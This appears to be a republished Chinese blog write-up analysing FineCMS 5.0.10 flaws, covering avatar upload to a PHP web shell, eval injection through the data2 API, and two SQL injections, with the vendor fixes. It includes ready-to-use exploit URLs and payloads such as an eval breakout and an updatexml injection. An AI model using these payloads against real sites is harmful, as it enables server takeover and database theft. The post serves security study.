FineCMS 5.0.10 多个 漏洞详细分析过程

最新推荐文章于 2024-07-17 17:25:50 发布
最新推荐文章于 2024-07-17 17:25:50 发布
阅读量746 收藏
点赞数
文章标签： php 数据库 运维
原文链接：https://segmentfault.com/a/1190000017075354
版权

0x01 前言
今天的这个CMS是FineCMS，版本是5.0.10版本的几个漏洞分析，从修补漏洞前和修补后的两方面去分析。
文中的evai是特意写的，因为会触发论坛的防护机制，还有分页那一段的代码也去掉了，因为会触发论坛分页的bug。
0x02 环境搭建
https://www.ichunqiu.com/vm/5... 可以去i春秋的实验，不用自己搭建那么麻烦了。
0x03 任意文件上传漏洞
1.漏洞复现
用十六进制编辑器写一个有一句话的图片
去网站注册一个账号，然后到上传头像的地方。
抓包，把jepg的改成php发包。
1.png

可以看到文件已经上传到到/uploadfile/member/用户ID/0x0.php

2.png

2.漏洞分析
文件：finecms/dayrui/controllers/member/Account.php 177~244行

/**
 *  上传头像处理
 *  传入头像压缩包，解压到指定文件夹后删除非图片文件
 */
public function upload() {

    // 创建图片存储文件夹
    $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
    @dr_dir_delete($dir);
    !is_dir($dir) && dr_mkdirs($dir);

    if ($_POST['tx']) {
        $file = str_replace(' ', '+', $_POST['tx']);
        if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
            $new_file = $dir.'0x0.'.$result[2];
            if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                exit(dr_json(0, '目录权限不足或磁盘已满'));
            } else {
                $this->load->library('image_lib');
                $config['create_thumb'] = TRUE;
                $config['thumb_marker'] = '';
                $config['maintain_ratio'] = FALSE;
                $config['source_image'] = $new_file;
                foreach (array(30, 45, 90, 180) as $a) {
                    $config['width'] = $config['height'] = $a;
                    $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                    $this->image_lib->initialize($config);
                    if (!$this->image_lib->resize()) {
                        exit(dr_json(0, '上传错误：'.$this->image_lib->display_errors()));
                        break;
                    }
                }
                list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                !$type && exit(dr_json(0, '图片字符串不规范'));
            }
        } else {

            exit(dr_json(0, '图片字符串不规范'));
        }
    } else {
        exit(dr_json(0, '图片不存在'));
    }

// 上传图片到服务器
    if (defined('UCSSO_API')) {
        $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
        !$rt['code'] && $this->_json(0, fc_lang('通信失败：%s', $rt['msg']));
    }

    exit('1');
}

这个我记得在5.0.8的版本有讲过这个代码的漏洞执行https://getpass.cn/2018/01/30...

后来官方修复的方案是加上了白名单了：

                if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
                    exit(dr_json(0, '目录权限不足'));
                }
                ...
                 $c = 0;
                    if ($fp = @opendir($dir)) {
                        while (FALSE !== ($file = readdir($fp))) {
                            $ext = substr(strrchr($file, '.'), 1);
                            if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
                                if (copy($dir.$file, $my.$file)) {
                                    $c++;
                                }
                            }
                        }
                        closedir($fp);
                    }
                    if (!$c) {
                        exit(dr_json(0,  fc_lang('未找到目录中的图片')));
                    }

**0x04 任意代码执行漏洞
1.漏洞复现**
auth下面的分析的时候会说到怎么获取

浏览器输入：
http://getpass1.cn/index.php?...¶m=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271
3.png

2.漏洞分析

public function data2() {
        $data = array();

        // 安全码认证
        $auth = $this->input->get('auth', true);
        if ($auth != md5(SYS_KEY)) {
            // 授权认证码不正确
            $data = array('msg' => '授权认证码不正确', 'code' => 0);
        } else {
            // 解析数据
            $cache = '';
            $param = $this->input->get('param');
            if (isset($param['cache']) && $param['cache']) {
                $cache = md5(dr_array2string($param));
                $data = $this->get_cache_data($cache);
            }
            if (!$data) {

                // list数据查询
                $data = $this->template->list_tag($param);
                $data['code'] = $data['error'] ? 0 : 1;
                unset($data['sql'], $data['pages']);

                // 缓存数据
                $cache && $this->set_cache_data($cache, $data, $param['cache']);
            }
        }

        // 接收参数
        $format = $this->input->get('format');
        $function = $this->input->get('function');
        if ($function) {
            if (!function_exists($function)) {
                $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
            } else {
                $data = $function($data);
            }
        }

        // 页面输出
        if ($format == 'php') {
            print_r($data);
        } elseif ($format == 'jsonp') {
            // 自定义返回名称
            echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
        } else {
            // 自定义返回名称
            echo $this->callback_json($data);
        }
        exit;

        }

可以看到开头这里验证了认证码：

// 安全码认证
    $auth = $this->input->get('auth', true);
    if ($auth != md5(SYS_KEY)) {
        // 授权认证码不正确
        $data = array('msg' => '授权认证码不正确', 'code' => 0);
    } else {

授权码在/config/system.php

4.png

可以看到SYS_KEY是固定的，我们可以在Cookies找到，/finecms/dayrui/config/config.php

5.png

用浏览器查看Cookies可以看到KEY，但是验证用MD5，我们先把KEY加密就行了。

6.png

直接看到这一段，调用了Template对象里面的list_tag函数

if (!$data) {

                // list数据查询
                $data = $this->template->list_tag($param);
                $data['code'] = $data['error'] ? 0 : 1;
                unset($data['sql'], $data['pages']);

                // 缓存数据
                $cache && $this->set_cache_data($cache, $data, $param['cache']);
            }

我们到finecms/dayrui/libraries/Template.php看list_tag函数的代码,代码有点长，我抓重点的地方,这里把param=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271的内容分为两个数组$var、$val，这两个数组的内容分别为

$var=['action','name']
$val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']

$cache=_cache_var是返回会员的信息
重点的是下面的 @evai('$data=$cache'.$this->_get_var($_param).';');

foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);

再看这一段,因为swtich选中的是cache，所有就不再进行下面的分析了。
$pos = strpos($param['name'], '.');这句是为下面的substr函数做准备。
是为了分离出的内容为

$_name='MEMBER'
$_param="1%27];phpinfo();$a=[%271"
 // action
        switch ($system['action']) {

            case 'cache': // 系统缓存数据
                if (!isset($param['name'])) {
                    return $this->_return($system['return'], 'name参数不存在');
                }

                $pos = strpos($param['name'], '.');
                if ($pos !== FALSE) {
                    $_name = substr($param['name'], 0, $pos);
                    $_param = substr($param['name'], $pos + 1);
                } else {
                    $_name = $param['name'];
                    $_param = NULL;
                }
                $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
                if (!$cache) {
                    return $this->_return($system['return'], "缓存({$_name})不存在，请在后台更新缓存");
                }
                if ($_param) {
                    $data = array();
                    @evai('$data=$cache'.$this->_get_var($_param).';');
                    if (!$data) {
                        return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
                    }
                } else {
                    $data = $cache;
                }

                return $this->_return($system['return'], $data, '');
                break;

跟踪get_var函数，在这里我们先把$param的内容假设为a,然后执行函数里面的内容，最后返回的$string的内容是：
$string=['a']
那么我们的思路就是把两边的[' ']闭合然后再放上恶意的代码。
payload为：1'];phpinfo();$a=['1
那么返回的$string的内容：
$string=['1'];phpinfo();$a=['1']

public function _get_var($param) {
        $array = explode('.', $param);
        if (!$array) {
            return '';
        }
        $string = '';
        foreach ($array as $var) {
            $string.= '[';
            if (strpos($var, '$') === 0) {
                $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
            } elseif (preg_match('/[A-Z_]+/', $var)) {
                $string.= ''.$var.'';
            } else {
                $string.= '\''.$var.'\'';
            }
            $string.= ']';
        }

        return $string;
    }

修复后的_get_var函数里面多了一个dr_safe_replace过滤函数，然后data2()删除了。

public function _get_var($param) {

        $array = explode('.', $param);
        if (!$array) {
            return '';
        }
        $string = '';
        foreach ($array as $var) {
            $var = dr_safe_replace($var);
            $string.= '[';
            if (strpos($var, '$') === 0) {
                $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
            } elseif (preg_match('/[A-Z_]+/', $var)) {
                $string.= ''.$var.'';
            } else {
                $string.= '\''.$var.'\'';
            }
            $string.= ']';
        }

        return $string;
    }

dr_safe_replace()

function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '"', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '<', $string);
    $string = str_replace('>', '>', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
}

0x05 任意SQL语句执行1
1.漏洞复现

浏览器：

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20version();%27

7.png

2.漏洞分析

这里就不用debug模式去跟进了，有不懂CI框架的数据库操作可以去看官方文档http://codeigniter.org.cn/use...

问题一样出在finecms/dayrui/controllers/Api.php中的data2(),可以直接去看finecms/dayrui/libraries/Template.php里面的list_tag()函数

fenye

这里想说一下就是preg_match这个函数的作用，他匹配过后sql是一个数组：

array(2) {
  [0]=>
  string(23) "sql='select version();'"
  [1]=>
  string(17) "select version();"
}

8.png

这里判断了开头的位置是否只使用了select

if (stripos($sql, 'SELECT') !== 0) {
                        return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');

再往下看，这一句才是执行SQL的地方，传入sql内容和$system['site']默认是1,$system['cache'] 默认缓存时间是3600

$data = $this->_query($sql, $system['site'], $system['cache']);

继续跟进_query()函数

public function _query($sql, $site, $cache, $all = TRUE) {
        echo $this->ci->site[$site];
        // 数据库对象
        $db = $site ? $this->ci->site[$site] : $this->ci->db;
        $cname = md5($sql.dr_now_url());
        // 缓存存在时读取缓存文件
        if ($cache && $data = $this->ci->get_cache_data($cname)) {
            return $data;
        }

        // 执行SQL
        $db->db_debug = FALSE;
        $query = $db->query($sql);

        if (!$query) {
            return 'SQL查询解析不正确：'.$sql;
        }

        // 查询结果
        $data = $all ? $query->result_array() : $query->row_array();

        // 开启缓存时，重新存储缓存数据
        $cache && $this->ci->set_cache_data($cname, $data, $cache);

        $db->db_debug = TRUE;

        return $data;
    }

没有对函数进行任何过滤$query = $db->query($sql);，直接带入了我们的语句。

官方的修复方法：删除了data2()函数

0x06 任意SQL语句执行2
1.漏洞复现

浏览器：

http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user()),0x7e),1)))a

9.png

2. 漏洞分析

文件在finecms/dayrui/controllers/member/Api.php的checktitle()函数

    public function checktitle() {

        $id = (int)$this->input->get('id');
        $title = $this->input->get('title', TRUE);
        $module = $this->input->get('module');

        (!$title || !$module) && exit('');

        $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
        echo $num;
        $num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
    }

其他的没什么过滤，主要是CI框架里面的一些内置方法，比如count_all_results，可以到http://codeigniter.org.cn/use...::count_all_results 查看用法

还有一个就是SITE_ID变量，它是指

10.png

站点是系统的核心部分，各个站点数据独立，可以设置站点分库管理

11.png

剩下也没什么可分析了，不懂updatexml语句可以看下面的参考链接

0x07 结束

还有一个远程命令执行漏洞没能复现，是在api的html()函数，说是可以用&来突破,但是evai只能用;来结束语句的结束。

function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '"', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '<', $string);
    $string = str_replace('>', '>', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
}

0x08 参考

https://www.t00ls.net/thread-41630-1-1.html

https://www.t00ls.net/viewthread.php?tid=44262

http://lu4n.com/finecms-rce-0day/

https://blog.csdn.net/vspiders/article/details/77430024

http://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html
weixin_33845881
关注
FineCMS v5.0.10
11-29
总的来说，FineCMS v5.0.10凭借其强大的自定义功能、多终端支持以及CI框架的高效性能，成为了中小型网站理想的后台管理系统。无论是内容发布、会员管理还是系统集成，FineCMS都能提供稳定、易用的解决方案。开发者...
web安全-文件上传漏洞-某CMS及CVE编号文件上传漏洞测试以及实例讲解
ran的博客
01-27 1897
可以看到访问后可以实现上图所示的效果，因为我们这里上传的是普通图片，不是jsp代码，所以网页返回的是一堆乱码，如果我们上传的文件是jsp文件，网页就会返回isp代码执行后的内容。在网址内添加此路径进行搜索，在回显的页面内可以看到上传的文件成功以php的形式进行了执行（因为这里上传的是图片，且没有进行修改，所以返回的全部是乱码）。将“png”改为“php”后放包，正常在上传完文件之后，会返回一个文件的地址，但是这里地址没有显示，并出现了报错。按照搜索到的方法，将“png”改为“php”后放包。
FineCMS任意头像上传漏洞复现：文件的四次上传
Miracle_ze的博客
08-16 1747
1、第一次绕过代码没有文件再次检测，采用传包含文件夹的压缩包绕过或使用时间竞争漏洞绕过2、第二个绕过代码添加了递归对文件夹再次检测，但由于没有间竞争漏洞绕过问题。使用间竞争漏洞绕过3、第三次绕过代码进行随机命名文件无法猜文件名间竞争漏洞绕过失效，但是可以采用解压一半报错保存php文件4、第四次绕过代码对报错保留的文件进行了递归删除，但是我们可以欺骗系统将解码的文件判定为上级目录文件规避了递归在当前目录下是所有检测。其实这种漏洞补一处出现处，要从根本解决。.........
finecms XSS （CVE-2017-11629）
最新发布
qq_23003811的博客
07-17 349
Dayrui FineCms是中国天睿（Dayrui）程序设计团队发布的一套使用MVC架构和PDO数据库接口开发的内容管理系统（CMS）。dayrui FineCms 5.0.10及之前的版本中的controllers/api.php文件存在跨站脚本漏洞。远程攻击者可借助c=api＆m=data2请求中的‘function’参数利用该漏洞注入任意的Web脚本或HTML。dayrui FineCms 5.0.10及之前的版本。四、漏洞复现（怎么拿flag）?
FineCMS 5.0.10漏洞集合
Unitue_逆流
10-12 9502
笔记地址： https://www.ichunqiu.com/course/59007 操作机： Windows xp IP:172.16.11.2目标机： Windows xp IP:172.16.12.2实验目的： 学习漏洞产生的原理 学习如何对此漏洞进行利用修复实验内容： FineCMS是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统。其5.0.10
[zkaq靶场]FineCMS的存储型XSS
wwxxee
05-09 1796
Fine CMS 存储型xss漏洞 本地测试 安装（版本v5.3.0） tip：这个cms需要安装在网站根目录，不能安装在子目录 然后访问install.php开始安装。 完成安装，访问后台。默认账户密码：admin/admin。 网站后台：提供错误日志查看功能。 在错误日志页面，我们可以看到错误日志的存放位置：WWW/cache/errorlog/log-2021-03-26.php 我们可以查看一下这个文件，然后输入一些内容测试一下。 在该文件的最后一行加入了测试内容 可以发现，后台的错误日志
技能篇丨FineCMS 5.0.10 多个漏洞详细分析
dfdhxb995397的博客
05-29 1324
今天是一篇关于技能提升的文章，文章中的CMS是FineCMS，版本是5.0.10版本的几个漏洞分析，主要内容是介绍漏洞修补前和修补后的分析过程，帮助大家快速掌握该技能。 注：篇幅较长，阅读用时约7分钟。 任意文件上传漏洞 1、漏洞复现 用十六进制编辑器写一个包含一句话木马的图片，去网站注册一个账号，然后到上传头像的地方。 抓包，修改文件后缀名为.php并发包。 ...
finecms-含有前台文件上传漏洞源码包.zip
01-04
《细解FineCMS前台文件上传漏洞及其源码分析》 FineCMS是一款常见的开源内容管理系统，以其易用性和灵活性深受开发者喜爱。然而，如同其他软件一样，FineCMS也存在潜在的安全问题，其中最为突出的就是前台文件上传...
FineCMS公益软件 v5.0.0
12-30
3. **响应式设计**：FineCMS支持多终端展示，无论是PC还是移动设备，都能提供良好的浏览体验，适应当前移动互联网的发展趋势。 4. **SEO优化**：系统内置SEO优化功能，可以自定义页面标题、关键词和描述，有利于...
FineCMS公益版 v2.0.1
12-01
2. **多终端支持**：设计时考虑到了不同终端的访问需求，无论是传统的PC端网页还是移动端网页，FineCMS都能够提供良好的展示效果，确保用户在不同设备上都能获得一致的浏览体验。 3. **自定义内容模型**：FineCMS...
FineCMS.rar_finecms
09-23
1. **安装便捷**：FineCMS提供了简洁的安装流程，用户只需按照向导操作，几步即可完成网站的部署。 2. **模板丰富**：系统内置多套响应式模板，适应不同设备的浏览需求，同时支持自定义模板，方便用户根据自身需求...
FineCMS网站管理系统v2.0
11-01
FineCMS网站管理系统v2.0 FCServer集成环境工具
FineCMS 内容管理系统 v5.3.0 bulid20180206
11-07
FineCMS（简称版或公益版）是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统，面向多终端包括Pc端网页和移动端网页，支持自定义内容模型和会员模型，并且可以自定
S-CMS医院建站系统 含小程序 v5.0build20201127
12-08
为您提供S-CMS医院建站系统 含小程序下载，S-CMS医院建站系统(含小程序)以php+mysql进行开发，操作简单，便捷。程序特色：一：使搜索引擎更加容易抓取和索引二：提供更多的功能，提高用户的友好体验三：可用性的提高，提高用户的友好体验S-CMS医院建站系统(含小程序)系统使用方法：将文件上传至PHP空间，运行http://你的域名/install/进行安装。只需两步即可安装完成，为了保证网站安全，请修改默认后台路径及数据库名称。闪灵C
FineCMS v5.3.0 bulid20180206.zip
07-16
FineCMS（简称免费版或公益版）是一款基于PHP MySql CI框架开发的高效简洁的中小型内容管理系统，面向多终端包括Pc端网页和移动端网页，支持自定义内容模型和会员模型，并且可以自定义字段，可面向中小型站点提供重量级网站建设解决方案，适用于小型站点、企业级网站、新闻内容网站等，个人站长及中小企业的首选建站系统。 FineCMS v5.3.0 bulid2018.2.6更新日志 升级方式更新 数据转换设置 FineCMS系统特点 免费开源 FineCMS将永久真正的免费并彻底的开放所有源代码，所有功能免费开放（包括插件）。 无版权限制 FineCMS作为公益产品，无版权限制，无论是个人或企业都可以修改版权，甚至二次发布。 多站点支持 FineCMS支持子站、分站、群站功能，方便用户批量建站需求。 网站多终端适配 FineCMS提供PC端网页和移动端网页分离开发模式，自动识别客户端。 自定义内容模型及字段 FineCMS自定义内容存储模型和自定义字段，系统内置了文章、组图、下载、房产等模型。 静态、伪静态自由切换 FineCMS提供URL伪静态方案，也可以将页面生成为html静态文件。 后台多语言国际化 FineCMS提供语言包文件，只需要按要求翻译语言文件就能轻松实现多国语言后台界面。 CI核心框架开发 FineCMS采用CI框架作为内核，加上CI中国社区，让您可以进行快速的二次开发，节省开发时间成本。 经验丰富的开发团队 我们凭借在互联网行业积累的强大技术底蕴，持续为客户提供优秀可靠的产品和服务。 FineCMS截图
最新版完全开源免费好用的FineCMS
11-09
FineCMS免费版是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统，面向多终端包括Pc端网页和移动端网页，支持自定义内容模型和会员模型，并且可以自定义字段，可面向中小型站点提供重量级网站建设解决方案，适用于小型站点、企业级网站、新闻内容网站等，个人站长及中小企业的首选建站系统。
finecms aip.php漏洞,代码审计| FineCMS的GetShell姿势
weixin_42311115的博客
03-11 433
0x00 背景上周，发现了finecms的一些后台的洞，斗哥先从配置文件写入开始分析，然后再结合本篇的存储XSS进行GetShell，本篇分析下存储XSS的问题，最终通过这两类洞的组合利用GetShell，期待与师傅们的交流讨论。0x01 审计过程0x00 相关环境源码信息：FineCMS v5.3.0 bulid 20180206问题文件： \finecms\finecms\system\cor...
Finecms SQL注入漏洞 (CVE-2018-6893)
m0_65150886的博客
01-08 1084
借此漏洞，可导致数据库中存放的用户的隐私信息的泄露，严重的可导致网页篡改；网站被挂马，传播恶意软件；修改数据库一些字段的值，嵌入网马链接，进行挂马攻击；服务器被远程控制，被安装后门。Finecms 5.2.0版本中的controllers/member/Api.php文件存在SQL注入漏洞，该漏洞源于程序没有进行有效的过滤。远程攻击者可利用该漏洞执行SQL命令。1.访问http://ip:port，出现如下页面，开始实验。
某finecms的csrf漏洞（CVE-2018-18191）
FODKING的博客
12-10 3717
原理 CSRF（Cross-site request forgery）跨站请求伪造：通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。 尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。 与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性 你这可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。 CSRF能够做的事情包括：以
finecms逻辑漏洞
06-06
FineCMS是一款开源的内容管理系统，它的逻辑漏洞可能会导致安全问题。以下是FineCMS常见的逻辑漏洞： 1.未经身份验证的访问：FineCMS的某些页面没有进行身份验证，可能会通过直接访问URL来绕过身份验证机制，获取...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值